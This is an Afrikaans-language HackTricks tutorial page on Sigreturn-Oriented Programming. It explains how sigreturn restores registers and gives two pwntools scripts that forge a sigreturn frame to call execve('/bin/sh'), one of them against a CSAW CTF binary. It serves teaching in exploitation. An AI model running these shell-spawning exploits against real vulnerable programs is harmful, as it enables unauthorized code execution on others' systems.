SROP - Sigreturn-Oriented Programming

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Sigreturn is 'n spesiale syscall wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhanterer sy uitvoering voltooi het. Signale is onderbrekings wat deur die bedryfstelsel na 'n program gestuur word, dikwels om aan te dui dat 'n buitengewone situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, onderbreek dit tydelik sy huidige werk om die sein met 'n seinhanterer te hanteer, 'n spesiale funksie wat ontwerp is om met seine om te gaan.

Nadat die seinhanterer klaar is, moet die program sy vorige toestand hervat asof niks gebeur het nie. Dit is waar sigreturn in die prentjie kom. Dit help die program om terug te keer van die seinhanterer en herstel die program se toestand deur die stapelraamwerk (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhanterer gebruik is, skoon te maak.

Die interessante deel is hoe sigreturn die program se toestand herstel: dit doen dit deur al die CPU se registerwaardes op die stapel te stoor. Wanneer die sein nie meer geblokkeer word nie, haal sigreturn hierdie waardes van die stapel af, wat die CPU se register effektief herstel na hul toestand voordat die sein hanteer is. Dit sluit die stapelpuntregister (RSP) in, wat na die huidige boonste gedeelte van die stapel wys.

Om die syscall sigreturn vanaf 'n ROP-ketting te roep en die registerwaardes by te voeg wat ons wil hê dit in die stapel moet laai, is dit moontlik om al die registerwaardes te beheer en dus byvoorbeeld die syscall execve met /bin/sh te roep.

Let daarop dat hierdie 'n tipe Ret2syscall sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls te roep:

pageRet2syscall

As jy nuuskierig is, hierdie is die sigcontext-struktuur wat op die stapel gestoor word om die waardes later te herstel (diagram van hier):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Vir 'n beter verduideliking, kyk ook:

Voorbeeld

Jy kan 'n voorbeeld hier vind waar die oproep na signeturn opgebou word via ROP (met die waarde 0xf in rxa), alhoewel dit die finale aanval van daar af is:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Kyk ook na die exploit van hier af waar die binêre lêer reeds sigreturn aanroep en dit dus nie nodig is om dit met 'n ROP te bou nie:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Ander Voorbeelde & Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated